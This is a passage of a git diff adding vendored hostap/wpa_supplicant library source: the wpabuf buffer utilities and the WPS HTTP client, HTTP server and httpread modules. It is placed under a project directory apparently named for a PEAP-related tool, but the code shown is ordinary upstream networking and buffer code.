wpabuf_trace *trace = os_zalloc(sizeof(struct wpabuf_trace) + + sizeof(struct wpabuf) + len); + struct wpabuf *buf; + if (trace == NULL) + return NULL; + trace->magic = WPABUF_MAGIC; + buf = (struct wpabuf *) (trace + 1); +#else /* WPA_TRACE */ + struct wpabuf *buf = os_zalloc(sizeof(struct wpabuf) + len); + if (buf == NULL) + return NULL; +#endif /* WPA_TRACE */ + + buf->size = len; + buf->buf = (u8 *) (buf + 1); + return buf; +} + + +struct wpabuf * wpabuf_alloc_ext_data(u8 *data, size_t len) +{ +#ifdef WPA_TRACE + struct wpabuf_trace *trace = os_zalloc(sizeof(struct wpabuf_trace) + + sizeof(struct wpabuf)); + struct wpabuf *buf; + if (trace == NULL) + return NULL; + trace->magic = WPABUF_MAGIC; + buf = (struct wpabuf *) (trace + 1); +#else /* WPA_TRACE */ + struct wpabuf *buf = os_zalloc(sizeof(struct wpabuf)); + if (buf == NULL) + return NULL; +#endif /* WPA_TRACE */ + + buf->size = len; + buf->used = len; + buf->buf = data; + buf->flags |= WPABUF_FLAG_EXT_DATA; + + return buf; +} + + +struct wpabuf * wpabuf_alloc_copy(const void *data, size_t len) +{ + struct wpabuf *buf = wpabuf_alloc(len); + if (buf) + wpabuf_put_data(buf, data, len); + return buf; +} + + +struct wpabuf * wpabuf_dup(const struct wpabuf *src) +{ + struct wpabuf *buf = wpabuf_alloc(wpabuf_len(src)); + if (buf) + wpabuf_put_data(buf, wpabuf_head(src), wpabuf_len(src)); + return buf; +} + + +/** + * wpabuf_free - Free a wpabuf + * @buf: wpabuf buffer + */ +void wpabuf_free(struct wpabuf *buf) +{ +#ifdef WPA_TRACE + struct wpabuf_trace *trace; + if (buf == NULL) + return; + trace = wpabuf_get_trace(buf); + if (trace->magic != WPABUF_MAGIC) { + wpa_printf(MSG_ERROR, "wpabuf_free: invalid magic %x", + trace->magic); + wpa_trace_show("wpabuf_free magic mismatch"); + abort(); + } + if (buf->flags & WPABUF_FLAG_EXT_DATA) + os_free(buf->buf); + os_free(trace); +#else /* WPA_TRACE */ + if (buf == NULL) + return; + if (buf->flags & WPABUF_FLAG_EXT_DATA) + os_free(buf->buf); + os_free(buf); +#endif /* WPA_TRACE */ +} + + +void * wpabuf_put(struct wpabuf *buf, size_t len) +{ + void *tmp = wpabuf_mhead_u8(buf) + wpabuf_len(buf); + buf->used += len; + if (buf->used > buf->size) { + wpabuf_overflow(buf, len); + } + return tmp; +} + + +/** + * wpabuf_concat - Concatenate two buffers into a newly allocated one + * @a: First buffer + * @b: Second buffer + * Returns: wpabuf with concatenated a + b data or %NULL on failure + * + * Both buffers a and b will be freed regardless of the return value. Input + * buffers can be %NULL which is interpreted as an empty buffer. + */ +struct wpabuf * wpabuf_concat(struct wpabuf *a, struct wpabuf *b) +{ + struct wpabuf *n = NULL; + size_t len = 0; + + if (b == NULL) + return a; + + if (a) + len += wpabuf_len(a); + if (b) + len += wpabuf_len(b); + + n = wpabuf_alloc(len); + if (n) { + if (a) + wpabuf_put_buf(n, a); + if (b) + wpabuf_put_buf(n, b); + } + + wpabuf_free(a); + wpabuf_free(b); + + return n; +} + + +/** + * wpabuf_zeropad - Pad buffer with 0x00 octets (prefix) to specified length + * @buf: Buffer to be padded + * @len: Length for the padded buffer + * Returns: wpabuf padded to len octets or %NULL on failure + * + * If buf is longer than len octets or of same size, it will be returned as-is. + * Otherwise a new buffer is allocated and prefixed with 0x00 octets followed + * by the source data. The source buffer will be freed on error, i.e., caller + * will only be responsible on freeing the returned buffer. If buf is %NULL, + * %NULL will be returned. + */ +struct wpabuf * wpabuf_zeropad(struct wpabuf *buf, size_t len) +{ + struct wpabuf *ret; + size_t blen; + + if (buf == NULL) + return NULL; + + blen = wpabuf_len(buf); + if (blen >= len) + return buf; + + ret = wpabuf_alloc(len); + if (ret) { + os_memset(wpabuf_put(ret, len - blen), 0, len - blen); + wpabuf_put_buf(ret, buf); + } + wpabuf_free(buf); + + return ret; +} + + +void wpabuf_printf(struct wpabuf *buf, char *fmt, ...) +{ + va_list ap; + void *tmp = wpabuf_mhead_u8(buf) + wpabuf_len(buf); + int res; + + va_start(ap, fmt); + res = vsnprintf(tmp, buf->size - buf->used, fmt, ap); + va_end(ap); + if (res < 0 || (size_t) res >= buf->size - buf->used) + wpabuf_overflow(buf, res); + buf->used += res; +} diff --git a/peapwn/mods/hostap/src/utils/wpabuf.h b/peapwn/mods/hostap/src/utils/wpabuf.h new file mode 100644 index 000000000..dbce925ca --- /dev/null +++ b/peapwn/mods/hostap/src/utils/wpabuf.h @@ -0,0 +1,162 @@ +/* + * Dynamic data buffer + * Copyright (c) 2007-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef WPABUF_H +#define WPABUF_H + +/* wpabuf::buf is a pointer to external data */ +#define WPABUF_FLAG_EXT_DATA BIT(0) + +/* + * Internal data structure for wpabuf. Please do not touch this directly from + * elsewhere. This is only defined in header file to allow inline functions + * from this file to access data. + */ +struct wpabuf { + size_t size; /* total size of the allocated buffer */ + size_t used; /* length of data in the buffer */ + u8 *buf; /* pointer to the head of the buffer */ + unsigned int flags; + /* optionally followed by the allocated buffer */ +}; + + +int wpabuf_resize(struct wpabuf **buf, size_t add_len); +struct wpabuf * wpabuf_alloc(size_t len); +struct wpabuf * wpabuf_alloc_ext_data(u8 *data, size_t len); +struct wpabuf * wpabuf_alloc_copy(const void *data, size_t len); +struct wpabuf * wpabuf_dup(const struct wpabuf *src); +void wpabuf_free(struct wpabuf *buf); +void * wpabuf_put(struct wpabuf *buf, size_t len); +struct wpabuf * wpabuf_concat(struct wpabuf *a, struct wpabuf *b); +struct wpabuf * wpabuf_zeropad(struct wpabuf *buf, size_t len); +void wpabuf_printf(struct wpabuf *buf, char *fmt, ...) PRINTF_FORMAT(2, 3); + + +/** + * wpabuf_size - Get the currently allocated size of a wpabuf buffer + * @buf: wpabuf buffer + * Returns: Currently allocated size of the buffer + */ +static inline size_t wpabuf_size(const struct wpabuf *buf) +{ + return buf->size; +} + +/** + * wpabuf_len - Get the current length of a wpabuf buffer data + * @buf: wpabuf buffer + * Returns: Currently used length of the buffer + */ +static inline size_t wpabuf_len(const struct wpabuf *buf) +{ + return buf->used; +} + +/** + * wpabuf_tailroom - Get size of available tail room in the end of the buffer + * @buf: wpabuf buffer + * Returns: Tail room (in bytes) of available space in the end of the buffer + */ +static inline size_t wpabuf_tailroom(const struct wpabuf *buf) +{ + return buf->size - buf->used; +} + +/** + * wpabuf_head - Get pointer to the head of the buffer data + * @buf: wpabuf buffer + * Returns: Pointer to the head of the buffer data + */ +static inline const void * wpabuf_head(const struct wpabuf *buf) +{ + return buf->buf; +} + +static inline const u8 * wpabuf_head_u8(const struct wpabuf *buf) +{ + return wpabuf_head(buf); +} + +/** + * wpabuf_mhead - Get modifiable pointer to the head of the buffer data + * @buf: wpabuf buffer + * Returns: Pointer to the head of the buffer data + */ +static inline void * wpabuf_mhead(struct wpabuf *buf) +{ + return buf->buf; +} + +static inline u8 * wpabuf_mhead_u8(struct wpabuf *buf) +{ + return wpabuf_mhead(buf); +} + +static inline void wpabuf_put_u8(struct wpabuf *buf, u8 data) +{ + u8 *pos = wpabuf_put(buf, 1); + *pos = data; +} + +static inline void wpabuf_put_le16(struct wpabuf *buf, u16 data) +{ + u8 *pos = wpabuf_put(buf, 2); + WPA_PUT_LE16(pos, data); +} + +static inline void wpabuf_put_le32(struct wpabuf *buf, u32 data) +{ + u8 *pos = wpabuf_put(buf, 4); + WPA_PUT_LE32(pos, data); +} + +static inline void wpabuf_put_be16(struct wpabuf *buf, u16 data) +{ + u8 *pos = wpabuf_put(buf, 2); + WPA_PUT_BE16(pos, data); +} + +static inline void wpabuf_put_be24(struct wpabuf *buf, u32 data) +{ + u8 *pos = wpabuf_put(buf, 3); + WPA_PUT_BE24(pos, data); +} + +static inline void wpabuf_put_be32(struct wpabuf *buf, u32 data) +{ + u8 *pos = wpabuf_put(buf, 4); + WPA_PUT_BE32(pos, data); +} + +static inline void wpabuf_put_data(struct wpabuf *buf, const void *data, + size_t len) +{ + if (data) + os_memcpy(wpabuf_put(buf, len), data, len); +} + +static inline void wpabuf_put_buf(struct wpabuf *dst, + const struct wpabuf *src) +{ + wpabuf_put_data(dst, wpabuf_head(src), wpabuf_len(src)); +} + +static inline void wpabuf_set(struct wpabuf *buf, const void *data, size_t len) +{ + buf->buf = (u8 *) data; + buf->flags = WPABUF_FLAG_EXT_DATA; + buf->size = buf->used = len; +} + +static inline void wpabuf_put_str(struct wpabuf *dst, const char *str) +{ + wpabuf_put_data(dst, str, os_strlen(str)); +} + +#endif /* WPABUF_H */ diff --git a/peapwn/mods/hostap/src/wps/Makefile b/peapwn/mods/hostap/src/wps/Makefile new file mode 100644 index 000000000..adfd3dfd5 --- /dev/null +++ b/peapwn/mods/hostap/src/wps/Makefile @@ -0,0 +1,8 @@ +all: + @echo Nothing to be made. + +clean: + rm -f *~ *.o *.d *.gcno *.gcda *.gcov + +install: + @echo Nothing to be made. diff --git a/peapwn/mods/hostap/src/wps/http.h b/peapwn/mods/hostap/src/wps/http.h new file mode 100644 index 000000000..2fee3a8f8 --- /dev/null +++ b/peapwn/mods/hostap/src/wps/http.h @@ -0,0 +1,29 @@ +/* + * HTTP for WPS + * Copyright (c) 2000-2003 Intel Corporation + * Copyright (c) 2006-2007 Sony Corporation + * Copyright (c) 2008-2009 Atheros Communications + * Copyright (c) 2009, Jouni Malinen + * + * See wps_upnp.c for more details on licensing and code history. + */ + +#ifndef HTTP_H +#define HTTP_H + +enum http_reply_code { + HTTP_OK = 200, + HTTP_BAD_REQUEST = 400, + UPNP_INVALID_ACTION = 401, + UPNP_INVALID_ARGS = 402, + HTTP_NOT_FOUND = 404, + HTTP_PRECONDITION_FAILED = 412, + HTTP_INTERNAL_SERVER_ERROR = 500, + HTTP_UNIMPLEMENTED = 501, + UPNP_ACTION_FAILED = 501, + UPNP_ARG_VALUE_INVALID = 600, + UPNP_ARG_VALUE_OUT_OF_RANGE = 601, + UPNP_OUT_OF_MEMORY = 603 +}; + +#endif /* HTTP_H */ diff --git a/peapwn/mods/hostap/src/wps/http_client.c b/peapwn/mods/hostap/src/wps/http_client.c new file mode 100644 index 000000000..029001306 --- /dev/null +++ b/peapwn/mods/hostap/src/wps/http_client.c @@ -0,0 +1,368 @@ +/* + * http_client - HTTP client + * Copyright (c) 2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include + +#include "common.h" +#include "eloop.h" +#include "httpread.h" +#include "http_client.h" + + +#define HTTP_CLIENT_TIMEOUT_SEC 30 + + +struct http_client { + struct sockaddr_in dst; + int sd; + struct wpabuf *req; + size_t req_pos; + size_t max_response; + + void (*cb)(void *ctx, struct http_client *c, + enum http_client_event event); + void *cb_ctx; + struct httpread *hread; + struct wpabuf body; +}; + + +static void http_client_timeout(void *eloop_data, void *user_ctx) +{ + struct http_client *c = eloop_data; + wpa_printf(MSG_DEBUG, "HTTP: Timeout (c=%p)", c); + c->cb(c->cb_ctx, c, HTTP_CLIENT_TIMEOUT); +} + + +static void http_client_got_response(struct httpread *handle, void *cookie, + enum httpread_event e) +{ + struct http_client *c = cookie; + + wpa_printf(MSG_DEBUG, "HTTP: httpread callback: handle=%p cookie=%p " + "e=%d", handle, cookie, e); + + eloop_cancel_timeout(http_client_timeout, c, NULL); + switch (e) { + case HTTPREAD_EVENT_FILE_READY: + if (httpread_hdr_type_get(c->hread) == HTTPREAD_HDR_TYPE_REPLY) + { + int reply_code = httpread_reply_code_get(c->hread); + if (reply_code == 200 /* OK */) { + wpa_printf(MSG_DEBUG, "HTTP: Response OK from " + "%s:%d", + inet_ntoa(c->dst.sin_addr), + ntohs(c->dst.sin_port)); + c->cb(c->cb_ctx, c, HTTP_CLIENT_OK); + } else { + wpa_printf(MSG_DEBUG, "HTTP: Error %d from " + "%s:%d", reply_code, + inet_ntoa(c->dst.sin_addr), + ntohs(c->dst.sin_port)); + c->cb(c->cb_ctx, c, HTTP_CLIENT_INVALID_REPLY); + } + } else + c->cb(c->cb_ctx, c, HTTP_CLIENT_INVALID_REPLY); + break; + case HTTPREAD_EVENT_TIMEOUT: + c->cb(c->cb_ctx, c, HTTP_CLIENT_TIMEOUT); + break; + case HTTPREAD_EVENT_ERROR: + c->cb(c->cb_ctx, c, HTTP_CLIENT_FAILED); + break; + } +} + + +static void http_client_tx_ready(int sock, void *eloop_ctx, void *sock_ctx) +{ + struct http_client *c = eloop_ctx; + int res; + + wpa_printf(MSG_DEBUG, "HTTP: Send client request to %s:%d (%lu of %lu " + "bytes remaining)", + inet_ntoa(c->dst.sin_addr), ntohs(c->dst.sin_port), + (unsigned long) wpabuf_len(c->req), + (unsigned long) wpabuf_len(c->req) - c->req_pos); + + res = send(c->sd, wpabuf_head_u8(c->req) + c->req_pos, + wpabuf_len(c->req) - c->req_pos, 0); + if (res < 0) { + wpa_printf(MSG_DEBUG, "HTTP: Failed to send buffer: %s", + strerror(errno)); + eloop_unregister_sock(c->sd, EVENT_TYPE_WRITE); + c->cb(c->cb_ctx, c, HTTP_CLIENT_FAILED); + return; + } + + if ((size_t) res < wpabuf_len(c->req) - c->req_pos) { + wpa_printf(MSG_DEBUG, "HTTP: Sent %d of %lu bytes; %lu bytes " + "remaining", + res, (unsigned long) wpabuf_len(c->req), + (unsigned long) wpabuf_len(c->req) - c->req_pos - + res); + c->req_pos += res; + return; + } + + wpa_printf(MSG_DEBUG, "HTTP: Full client request sent to %s:%d", + inet_ntoa(c->dst.sin_addr), ntohs(c->dst.sin_port)); + eloop_unregister_sock(c->sd, EVENT_TYPE_WRITE); + wpabuf_free(c->req); + c->req = NULL; + + c->hread = httpread_create(c->sd, http_client_got_response, c, + c->max_response, HTTP_CLIENT_TIMEOUT_SEC); + if (c->hread == NULL) { + c->cb(c->cb_ctx, c, HTTP_CLIENT_FAILED); + return; + } +} + + +struct http_client * http_client_addr(struct sockaddr_in *dst, + struct wpabuf *req, size_t max_response, + void (*cb)(void *ctx, + struct http_client *c, + enum http_client_event event), + void *cb_ctx) +{ + struct http_client *c; + + c = os_zalloc(sizeof(*c)); + if (c == NULL) + return NULL; + c->sd = -1; + c->dst = *dst; + c->max_response = max_response; + c->cb = cb; + c->cb_ctx = cb_ctx; + + c->sd = socket(AF_INET, SOCK_STREAM, 0); + if (c->sd < 0) { + http_client_free(c); + return NULL; + } + + if (fcntl(c->sd, F_SETFL, O_NONBLOCK) != 0) { + wpa_printf(MSG_DEBUG, "HTTP: fnctl(O_NONBLOCK) failed: %s", + strerror(errno)); + http_client_free(c); + return NULL; + } + + if (connect(c->sd, (struct sockaddr *) dst, sizeof(*dst))) { + if (errno != EINPROGRESS) { + wpa_printf(MSG_DEBUG, "HTTP: Failed to connect: %s", + strerror(errno)); + http_client_free(c); + return NULL; + } + + /* + * Continue connecting in the background; eloop will call us + * once the connection is ready (or failed). + */ + } + + if (eloop_register_sock(c->sd, EVENT_TYPE_WRITE, http_client_tx_ready, + c, NULL)) { + http_client_free(c); + return NULL; + } + + if (eloop_register_timeout(HTTP_CLIENT_TIMEOUT_SEC, 0, + http_client_timeout, c, NULL)) { + http_client_free(c); + return NULL; + } + + c->req = req; + + return c; +} + + +char * http_client_url_parse(const char *url, struct sockaddr_in *dst, + char **ret_path) +{ + char *u, *addr, *port, *path; + + u = os_strdup(url); + if (u == NULL) + return NULL; + + os_memset(dst, 0, sizeof(*dst)); + dst->sin_family = AF_INET; + addr = u + 7; + path = os_strchr(addr, '/'); + port = os_strchr(addr, ':'); + if (path == NULL) { + path = "/"; + } else { + *path = '\0'; /* temporary nul termination for address */ + if (port > path) + port = NULL; + } + if (port) + *port++ = '\0'; + + if (inet_aton(addr, &dst->sin_addr) == 0) { + /* TODO: name lookup */ + wpa_printf(MSG_DEBUG, "HTTP: Unsupported address in URL '%s' " + "(addr='%s' port='%s')", + url, addr, port); + os_free(u); + return NULL; + } + + if (port) + dst->sin_port = htons(atoi(port)); + else + dst->sin_port = htons(80); + + if (*path == '\0') { + /* remove temporary nul termination for address */ + *path = '/'; + } + + *ret_path = path; + + return u; +} + + +struct http_client * http_client_url(const char *url, + struct wpabuf *req, size_t max_response, + void (*cb)(void *ctx, + struct http_client *c, + enum http_client_event event), + void *cb_ctx) +{ + struct sockaddr_in dst; + struct http_client *c; + char *u, *path; + struct wpabuf *req_buf = NULL; + + if (os_strncmp(url, "http://", 7) != 0) + return NULL; + u = http_client_url_parse(url, &dst, &path); + if (u == NULL) + return NULL; + + if (req == NULL) { + req_buf = wpabuf_alloc(os_strlen(url) + 1000); + if (req_buf == NULL) { + os_free(u); + return NULL; + } + req = req_buf; + wpabuf_printf(req, + "GET %s HTTP/1.1\r\n" + "Cache-Control: no-cache\r\n" + "Pragma: no-cache\r\n" + "Accept: text/xml, application/xml\r\n" + "User-Agent: wpa_supplicant\r\n" + "Host: %s:%d\r\n" + "\r\n", + path, inet_ntoa(dst.sin_addr), + ntohs(dst.sin_port)); + } + os_free(u); + + c = http_client_addr(&dst, req, max_response, cb, cb_ctx); + if (c == NULL) { + wpabuf_free(req_buf); + return NULL; + } + + return c; +} + + +void http_client_free(struct http_client *c) +{ + if (c == NULL) + return; + httpread_destroy(c->hread); + wpabuf_free(c->req); + if (c->sd >= 0) { + eloop_unregister_sock(c->sd, EVENT_TYPE_WRITE); + close(c->sd); + } + eloop_cancel_timeout(http_client_timeout, c, NULL); + os_free(c); +} + + +struct wpabuf * http_client_get_body(struct http_client *c) +{ + if (c->hread == NULL) + return NULL; + wpabuf_set(&c->body, httpread_data_get(c->hread), + httpread_length_get(c->hread)); + return &c->body; +} + + +char * http_client_get_hdr_line(struct http_client *c, const char *tag) +{ + if (c->hread == NULL) + return NULL; + return httpread_hdr_line_get(c->hread, tag); +} + + +char * http_link_update(char *url, const char *base) +{ + char *n; + size_t len; + const char *pos; + + /* RFC 2396, Chapter 5.2 */ + /* TODO: consider adding all cases described in RFC 2396 */ + + if (url == NULL) + return NULL; + + if (os_strncmp(url, "http://", 7) == 0) + return url; /* absolute link */ + + if (os_strncmp(base, "http://", 7) != 0) + return url; /* unable to handle base URL */ + + len = os_strlen(url) + 1 + os_strlen(base) + 1; + n = os_malloc(len); + if (n == NULL) + return url; /* failed */ + + if (url[0] == '/') { + pos = os_strchr(base + 7, '/'); + if (pos == NULL) { + os_snprintf(n, len, "%s%s", base, url); + } else { + os_memcpy(n, base, pos - base); + os_memcpy(n + (pos - base), url, os_strlen(url) + 1); + } + } else { + pos = os_strrchr(base + 7, '/'); + if (pos == NULL) { + os_snprintf(n, len, "%s/%s", base, url); + } else { + os_memcpy(n, base, pos - base + 1); + os_memcpy(n + (pos - base) + 1, url, os_strlen(url) + + 1); + } + } + + os_free(url); + + return n; +} diff --git a/peapwn/mods/hostap/src/wps/http_client.h b/peapwn/mods/hostap/src/wps/http_client.h new file mode 100644 index 000000000..ddee2adb6 --- /dev/null +++ b/peapwn/mods/hostap/src/wps/http_client.h @@ -0,0 +1,40 @@ +/* + * http_client - HTTP client + * Copyright (c) 2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef HTTP_CLIENT_H +#define HTTP_CLIENT_H + +struct http_client; + +enum http_client_event { + HTTP_CLIENT_FAILED, + HTTP_CLIENT_TIMEOUT, + HTTP_CLIENT_OK, + HTTP_CLIENT_INVALID_REPLY, +}; + +char * http_client_url_parse(const char *url, struct sockaddr_in *dst, + char **path); +struct http_client * http_client_addr(struct sockaddr_in *dst, + struct wpabuf *req, size_t max_response, + void (*cb)(void *ctx, + struct http_client *c, + enum http_client_event event), + void *cb_ctx); +struct http_client * http_client_url(const char *url, + struct wpabuf *req, size_t max_response, + void (*cb)(void *ctx, + struct http_client *c, + enum http_client_event event), + void *cb_ctx); +void http_client_free(struct http_client *c); +struct wpabuf * http_client_get_body(struct http_client *c); +char * http_client_get_hdr_line(struct http_client *c, const char *tag); +char * http_link_update(char *url, const char *base); + +#endif /* HTTP_CLIENT_H */ diff --git a/peapwn/mods/hostap/src/wps/http_server.c b/peapwn/mods/hostap/src/wps/http_server.c new file mode 100644 index 000000000..06c8bee24 --- /dev/null +++ b/peapwn/mods/hostap/src/wps/http_server.c @@ -0,0 +1,310 @@ +/* + * http_server - HTTP server + * Copyright (c) 2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include + +#include "common.h" +#include "eloop.h" +#include "httpread.h" +#include "http_server.h" + +#define HTTP_SERVER_TIMEOUT 30 +#define HTTP_SERVER_MAX_REQ_LEN 8000 +#define HTTP_SERVER_MAX_CONNECTIONS 10 + +struct http_request { + struct http_request *next; + struct http_server *srv; + int fd; + struct sockaddr_in cli; + struct httpread *hread; +}; + +struct http_server { + void (*cb)(void *ctx, struct http_request *req); + void *cb_ctx; + + int fd; + int port; + + struct http_request *requests; + unsigned int request_count; +}; + + +static void http_request_cb(struct httpread *handle, void *cookie, + enum httpread_event en) +{ + struct http_request *req = cookie; + struct http_server *srv = req->srv; + + if (en == HTTPREAD_EVENT_FILE_READY) { + wpa_printf(MSG_DEBUG, "HTTP: Request from %s:%d received", + inet_ntoa(req->cli.sin_addr), + ntohs(req->cli.sin_port)); + srv->cb(srv->cb_ctx, req); + return; + } + wpa_printf(MSG_DEBUG, "HTTP: Request from %s:%d could not be received " + "completely", inet_ntoa(req->cli.sin_addr), + ntohs(req->cli.sin_port)); + http_request_deinit(req); +} + + +static struct http_request * http_request_init(struct http_server *srv, int fd, + struct sockaddr_in *cli) +{ + struct http_request *req; + + if (srv->request_count >= HTTP_SERVER_MAX_CONNECTIONS) { + wpa_printf(MSG_DEBUG, "HTTP: Too many concurrent requests"); + return NULL; + } + + req = os_zalloc(sizeof(*req)); + if (req == NULL) + return NULL; + + req->srv = srv; + req->fd = fd; + req->cli = *cli; + + req->hread = httpread_create(req->fd, http_request_cb, req, + HTTP_SERVER_MAX_REQ_LEN, + HTTP_SERVER_TIMEOUT); + if (req->hread == NULL) { + http_request_deinit(req); + return NULL; + } + + return req; +} + + +void http_request_deinit(struct http_request *req) +{ + struct http_request *r, *p; + struct http_server *srv; + + if (req == NULL) + return; + + srv = req->srv; + p = NULL; + r = srv->requests; + while (r) { + if (r == req) { + if (p) + p->next = r->next; + else + srv->requests = r->next; + srv->request_count--; + break; + } + p = r; + r = r->next; + } + + httpread_destroy(req->hread); + close(req->fd); + os_free(req); +} + + +static void http_request_free_all(struct http_request *req) +{ + struct http_request *prev; + while (req) { + prev = req; + req = req->next; + http_request_deinit(prev); + } +} + + +void http_request_send(struct http_request *req, struct wpabuf *resp) +{ + int res; + + wpa_printf(MSG_DEBUG, "HTTP: Send %lu byte response to %s:%d", + (unsigned long) wpabuf_len(resp), + inet_ntoa(req->cli.sin_addr), + ntohs(req->cli.sin_port)); + + res = send(req->fd, wpabuf_head(resp), wpabuf_len(resp), 0); + if (res < 0) { + wpa_printf(MSG_DEBUG, "HTTP: Send failed: %s", + strerror(errno)); + } else if ((size_t) res < wpabuf_len(resp)) { + wpa_printf(MSG_DEBUG, "HTTP: Sent only %d of %lu bytes", + res, (unsigned long) wpabuf_len(resp)); + /* TODO: add eloop handler for sending rest of the data */ + } + + wpabuf_free(resp); +} + + +void http_request_send_and_deinit(struct http_request *req, + struct wpabuf *resp) +{ + http_request_send(req, resp); + http_request_deinit(req); +} + + +enum httpread_hdr_type http_request_get_type(struct http_request *req) +{ + return httpread_hdr_type_get(req->hread); +} + + +char * http_request_get_uri(struct http_request *req) +{ + return httpread_uri_get(req->hread); +} + + +char * http_request_get_hdr(struct http_request *req) +{ + return httpread_hdr_get(req->hread); +} + + +char * http_request_get_data(struct http_request *req) +{ + return httpread_data_get(req->hread); +} + + +char * http_request_get_hdr_line(struct http_request *req, const char *tag) +{ + return httpread_hdr_line_get(req->hread, tag); +} + + +struct sockaddr_in * http_request_get_cli_addr(struct http_request *req) +{ + return &req->cli; +} + + +static void http_server_cb(int sd, void *eloop_ctx, void *sock_ctx) +{ + struct sockaddr_in addr; + socklen_t addr_len = sizeof(addr); + struct http_server *srv = eloop_ctx; + int conn; + struct http_request *req; + + conn = accept(srv->fd, (struct sockaddr *) &addr, &addr_len); + if (conn < 0) { + wpa_printf(MSG_DEBUG, "HTTP: Failed to accept new connection: " + "%s", strerror(errno)); + return; + } + wpa_printf(MSG_DEBUG, "HTTP: Connection from %s:%d", + inet_ntoa(addr.sin_addr), ntohs(addr.sin_port)); + + req = http_request_init(srv, conn, &addr); + if (req == NULL) { + close(conn); + return; + } + + req->next = srv->requests; + srv->requests = req; + srv->request_count++; +} + + +struct http_server * http_server_init(struct in_addr *addr, int port, + void (*cb)(void *ctx, + struct http_request *req), + void *cb_ctx) +{ + struct sockaddr_in sin; + struct http_server *srv; + int on = 1; + + srv = os_zalloc(sizeof(*srv)); + if (srv == NULL) + return NULL; + srv->cb = cb; + srv->cb_ctx = cb_ctx; + + srv->fd = socket(AF_INET, SOCK_STREAM, 0); + if (srv->fd < 0) + goto fail; + + setsockopt(srv->fd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)); + + if (fcntl(srv->fd, F_SETFL, O_NONBLOCK) < 0) + goto fail; + if (port < 0) + srv->port = 49152; + else + srv->port = port; + + os_memset(&sin, 0, sizeof(sin)); + sin.sin_family = AF_INET; + sin.sin_addr.s_addr = addr->s_addr; + + for (;;) { + sin.sin_port = htons(srv->port); + if (bind(srv->fd, (struct sockaddr *) &sin, sizeof(sin)) == 0) + break; + if (errno == EADDRINUSE) { + /* search for unused port */ + if (++srv->port == 65535 || port >= 0) + goto fail; + continue; + } + wpa_printf(MSG_DEBUG, "HTTP: Failed to bind server port %d: " + "%s", srv->port, strerror(errno)); + goto fail; + } + if (listen(srv->fd, 10 /* max backlog */) < 0) + goto fail; + if (fcntl(srv->fd, F_SETFL, O_NONBLOCK) < 0) + goto fail; + if (eloop_register_sock(srv->fd, EVENT_TYPE_READ, http_server_cb, + srv, NULL)) + goto fail; + + wpa_printf(MSG_DEBUG, "HTTP: Started server on %s:%d", + inet_ntoa(*addr), srv->port); + + return srv; + +fail: + http_server_deinit(srv); + return NULL; +} + + +void http_server_deinit(struct http_server *srv) +{ + if (srv == NULL) + return; + if (srv->fd >= 0) { + eloop_unregister_sock(srv->fd, EVENT_TYPE_READ); + close(srv->fd); + } + http_request_free_all(srv->requests); + + os_free(srv); +} + + +int http_server_get_port(struct http_server *srv) +{ + return srv->port; +} diff --git a/peapwn/mods/hostap/src/wps/http_server.h b/peapwn/mods/hostap/src/wps/http_server.h new file mode 100644 index 000000000..4b2b749f1 --- /dev/null +++ b/peapwn/mods/hostap/src/wps/http_server.h @@ -0,0 +1,33 @@ +/* + * http_server - HTTP server + * Copyright (c) 2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef HTTP_SERVER_H +#define HTTP_SERVER_H + +struct http_server; +struct http_request; + +void http_request_deinit(struct http_request *req); +void http_request_send(struct http_request *req, struct wpabuf *resp); +void http_request_send_and_deinit(struct http_request *req, + struct wpabuf *resp); +enum httpread_hdr_type http_request_get_type(struct http_request *req); +char * http_request_get_uri(struct http_request *req); +char * http_request_get_hdr(struct http_request *req); +char * http_request_get_data(struct http_request *req); +char * http_request_get_hdr_line(struct http_request *req, const char *tag); +struct sockaddr_in * http_request_get_cli_addr(struct http_request *req); + +struct http_server * http_server_init(struct in_addr *addr, int port, + void (*cb)(void *ctx, + struct http_request *req), + void *cb_ctx); +void http_server_deinit(struct http_server *srv); +int http_server_get_port(struct http_server *srv); + +#endif /* HTTP_SERVER_H */ diff --git a/peapwn/mods/hostap/src/wps/httpread.c b/peapwn/mods/hostap/src/wps/httpread.c new file mode 100644 index 000000000..ad4f4a1dc --- /dev/null +++ b/peapwn/mods/hostap/src/wps/httpread.c @@ -0,0 +1,855 @@ +/* + * httpread - Manage reading file(s) from HTTP/TCP socket + * Author: Ted Merrill + * Copyright 2008 Atheros Communications + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + * + * The files are buffered via internal callbacks from eloop, then presented to + * an application callback routine when completely read into memory. May also + * be used if no file is expected but just to get the header, including HTTP + * replies (e.g. HTTP/1.1 200 OK etc.). + * + * This does not attempt to be an optimally efficient implementation, but does + * attempt to be of reasonably small size and memory consumption; assuming that + * only small files are to be read. A maximum file size is provided by + * application and enforced. + * + * It is assumed that the application does not expect any of the following: + * -- transfer encoding other than chunked + * -- trailer fields + * It is assumed that, even if the other side requested that the connection be + * kept open, that we will close it (thus HTTP messages sent by application + * should have the connection closed field); this is allowed by HTTP/1.1 and + * simplifies things for us. + * + * Other limitations: + * -- HTTP header may not exceed a hard-coded size. + * + * Notes: + * This code would be massively simpler without some of the new features of + * HTTP/1.1, especially chunked data. + */ + +#include "includes.h" + +#include "common.h" +#include "eloop.h" +#include "httpread.h" + + +/* Tunable parameters */ +#define HTTPREAD_READBUF_SIZE 1024 /* read in chunks of this size */ +#define HTTPREAD_HEADER_MAX_SIZE 4096 /* max allowed for headers */ +#define HTTPREAD_BODYBUF_DELTA 4096 /* increase allocation by this */ + +#if 0 +/* httpread_debug -- set this global variable > 0 e.g. from debugger + * to enable debugs (larger numbers for more debugs) + * Make this a #define of 0 to eliminate the debugging code. + */ +int httpread_debug = 99; +#else +#define httpread_debug 0 /* eliminates even the debugging code */ +#endif + + +/* control instance -- actual definition (opaque to application) + */ +struct httpread { + /* information from creation */ + int sd; /* descriptor of TCP socket to read from */ + void (*cb)(struct httpread *handle, void *cookie, + enum httpread_event e); /* call on event */ + void *cookie; /* pass to callback */ + int max_bytes; /* 